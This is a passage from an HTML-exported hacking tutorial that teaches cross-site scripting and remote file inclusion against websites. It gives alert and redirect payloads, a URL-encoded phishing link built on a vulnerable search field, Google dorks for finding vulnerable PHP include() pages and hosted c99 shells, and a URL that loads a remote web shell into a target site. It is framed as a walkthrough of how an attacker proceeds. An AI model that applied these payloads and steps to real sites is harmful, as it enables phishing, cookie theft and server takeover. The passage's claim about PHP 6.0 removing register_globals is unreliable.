transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">) or HTML is inserted into a variable which causes the output that the user sees to be changed. Non-persistent attacks are only activated when the user visits the URL crafted by the attacker. </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-right: 50.55pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Persistent – Persistent attacks are usually used against web applications like guest books, forums, and shout boxes. Some of the things a hacker can do with a persistent attacks are: </span></div>
</li>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; margin-left: 72px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.2249999999999999; margin-bottom: 2.15pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Steal website </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cookies</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(Cookies are used by web browsers to store your user information so that you can stay logged into a website even after you leave. By stealing your cookie, the attacker can sometimes login without knowing your password.) </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; margin-left: 72px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Deface the website </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; margin-left: 72px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Spread Worms </span></div>
</li>
</ul>
</ol>
<div dir="ltr" style="line-height: 1.25; margin-bottom: 12.2pt; margin-left: 0.5pt; margin-right: 17.5pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Now that you know what cross site scripting is, how can you tell if a website if vulnerable to it? </span></div>
<ol style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-right: 53.45pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">If there is a search field, enter a word and if that word is displayed back to you on the next page, there’s a chance it is vulnerable. </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 9.4pt; margin-right: 53.45pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Now we will insert some HTML. Search for </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><h1>hi</h1></span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, and if the word “hi” is outputted as a big header, it is vulnerable. </span></div>
</li>
</ol>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 8.45pt; margin-top: 0pt; text-align: center;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><img height="118" src="https://lh5.googleusercontent.com/xVdQaGejn8kj1SBPffwEQ9M7SxBFZMNa9FI2oN8zwnPP8LJIn90iDGLEGwbrls6uOu8ObhRe3OZGgw_BZ9UeEh8kx6GFzZ2VmliqTfVJNrw0uuRCVG8ltSHZKX9wJb9yLJAkKIZqWGI2LB92ug" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="213" /></span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<ol start="3" style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 9.4pt; margin-right: 53.45pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Now we will insert JavaScript. Search for </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><script>alert(“hi”);</script></span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> , if the word “hi” pops up in a popup box, then the site is vulnerable to XSS.  </span></div>
</li>
</ol>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 8.45pt; margin-top: 0pt; text-align: center;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"></span></div>
<ol start="4" style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 12.2pt; margin-right: 53.45pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">As you can see, these examples are non-persistent. Now if a hacker found a guestbook or something else like it that was vulnerable, he would be able to make it persistent and everyone that visits the page would get the above alert if that was part of his comment. </span></div>
</li>
</ol>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 12.2pt; margin-left: 0.05pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<div dir="ltr" style="line-height: 1.25; margin-bottom: 12.15pt; margin-left: 0.05pt; margin-right: 52.2pt; margin-top: 0pt; text-indent: 18pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Hackers knowledgeable in JavaScript and PHP will be able to craft advanced XSS attacks to steal your cookies and spread XSS worms, but to show you a simple example of something more realistic then the above examples, I will show you how a hacker could use XSS to help with phishing. </span></div>
<ol style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-right: 46.4pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Let’s say a hacker wants to phish passwords from www.victim-site.com. If he was able to find an XSS vulnerability anywhere on the website, he would be able to craft a link pointing to the legit website that redirects to his phishing website. </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 9.45pt; margin-right: 46.4pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In the example with the popup, when I inserted the JavaScript into the search box, a URL was formed that looked like the following: </span></div>
</li>
</ol>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 8.5pt; margin-right: 105.3pt; margin-top: 0pt; text-align: right;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><img height="31" src="https://lh4.googleusercontent.com/A_HnmzgFSGFwJbnKZlpMyIddb0kWLwZdATEcHkCn_i1uC3LGIwUMStvZV23yNsVYCixUTWxTHNhSGgjBJv1EpmKrJuZhn3OmwxiEGOvH1uIn6ApkeR6xBKA7jQop-kgYvnh6FQpDT2TOwxZekw" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="480" /></span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<div dir="ltr" style="line-height: 1.25; margin-bottom: 12.15pt; margin-left: 35.8pt; margin-right: 54.55pt; margin-top: 0pt; text-indent: -0.45000000000000284pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Here you can see that the code you typed into the search box was passed to the “searchbox” variable.  </span></div>
<ol start="3" style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 12.2pt; margin-right: 46.4pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In the URL the hacker would then replace everything in between </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">?searchbox=</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">&search</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> with the following JavaScript code: </span></div>
</li>
</ol>
<h3 dir="ltr" style="line-height: 1.2300000000000002; margin-bottom: 2.15pt; margin-left: 0.5pt; margin-right: -0.75pt; margin-top: 0pt; text-align: center; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><script>window.location = “http://phishing-site.com”</script> </span></h3>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 2.25pt; margin-top: 0pt; text-align: center;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<ol start="4" style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-right: 51.7pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Now when you go to the finished link, the legitimate site will redirect to the phishing website. Next what the hacker would do is encode the URL to make it look more legit and less suspicious. You can encode the URL at </span><a href="http://www.encodeurl.com/" style="text-decoration: none;"><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">http://www.encodeurl.com/</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></a><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-right: 51.7pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">My finished encoded URL is: </span></div>
</li>
</ol>
<div dir="ltr" style="line-height: 1.22; margin-bottom: 1.95pt; margin-left: 35.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -36.3pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">http%3A%2F%2Flocalhost%2Fform.php%3Fsearchbox%3D%3Cscript%3Ewindow.locati on+%3D+%5C%22http%3A%2F%2Fphishing-</span></div>
<div dir="ltr" style="line-height: 1.22; margin-bottom: 1.95pt; margin-left: 35.8pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -36.3pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">site.com%5C%22%3C%2Fscript%3E%26search%3Dsearch%21</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<ol start="6" style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 24px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 12.1pt; margin-right: 51.7pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Once the victim sees that the link points to the legitimate website, he will be more likely to fall for the phishing attack.  </span></div>
</li>
</ol>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 13.1pt; margin-left: 0.05pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 12.15pt; margin-left: 0.5pt; margin-right: -0.75pt; margin-top: 0pt; text-align: center; text-indent: -0.5pt;">
<span style="background-color: transparent; color: #038900; font-family: Calibri; font-size: 24px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Remote File Inclusion </span></div>
<div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-left: 35.35pt; margin-right: 50.2pt; margin-top: 0pt; text-indent: 35.99999999999999pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Remote File Inclusion (RFI) occurs when a remote file, usually a </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">shell</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> (a graphical interface for browsing remote files and running your own code on a server), is included into a website which allows the hacker to execute server side commands as the current logged on user, and have access to files on the server. With this power the hacker can continue on to use local exploits to escalate his privileges and take over the whole system.  </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 2.15pt; margin-left: 72.05pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-left: 35.35pt; margin-right: 52.2pt; margin-top: 0pt; text-indent: 35.99999999999999pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Many servers are vulnerable to this kind of attack because of PHP’s default settings of </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">register_globals</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">allow_url_fopen </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">being enabled. Although as of PHP 6.0, register_globals has been depreciated and removed, many websites still rely on older versions of PHP to run their web applications. Now let’s go through the steps a hacker would take to exploit this type of vulnerability in a website. </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 2.1pt; margin-left: 72pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<ol style="margin-bottom: 0pt; margin-top: 0pt;"><ol style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 96px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-right: 44.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">First the hacker would find a website that gets its pages via the </span></div>
</li>
</ol>
</ol>
<div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-left: 90.45pt; margin-right: 47.4pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">PHP include() function and is vulnerable to RFI. Many hackers use Google dorks to locate servers vulnerable to RFI. A Google dork is the act of using Google’s provided search tools to help get a specific search result. </span></div>
<ol start="2" style="margin-bottom: 0pt; margin-top: 0pt;"><ol start="2" style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 96px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 12.2pt; margin-right: 44.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Website that include pages have a navigation system similar to: </span></div>
</li>
</ol>
</ol>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 12.2pt; margin-left: 0.5pt; margin-right: -0.75pt; margin-top: 0pt; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">     </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">                               </span><a href="http://target-site.com/index.php?page=PageName" style="text-decoration: none;"><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">http://target-site.com/index.php?page=PageName</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></a></div>
<ol start="3" style="margin-bottom: 0pt; margin-top: 0pt;"><ol start="3" style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 96px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.5999999999999999; margin-bottom: 12pt; margin-right: 44.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">To see if a the page is vulnerable, the hacker would try to include a site instead of PageName like the following: </span><a href="http://target-site.com/index.php?page=http://google.com" style="text-decoration: none;"><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">http://target-site.com/index.php?page=http://google.com</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></a><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 96px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-right: 44.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">If the Google homepage shows up on the website, then the hacker knows the website is vulnerable and would continue to include a shell. </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 96px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-right: 44.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">A couple of the most popular shells are c99 and r57. A hacker would either upload them to a remote server or just use a Google dork to locate them already online and insert them. To find the a shell the hacker would search Google for: </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">inurl:c99.txt</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. This will display many websites with the shell already up and ready to be included. At the end of the URL make sure to add a </span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">?</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> so that if anything comes after c99.txt, it will be passed to the shell and not cause any problems. The new URL with the shell included would look like: </span></div>
</li>
</ol>
</ol>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 2.1pt; margin-left: 90pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 2.25pt; margin-right: 63.2pt; margin-top: 0pt; text-align: right;">
<a href="http://target-site.com/index.php?page=http://site.com/c99.txt" style="text-decoration: none;"><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">http://target-site.com/index.php?page=http://site.com/c99.txt?</span><span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></a></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 2.1pt; margin-left: 90.05pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></div>
<ol start="6" style="margin-bottom: 0pt; margin-top: 0pt;"><ol start="6" style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Calibri; font-size: 18.666666666666664px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 96px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.25; margin-bottom: 2.55pt; margin-right: 44.2pt; margin-top: 0pt;">
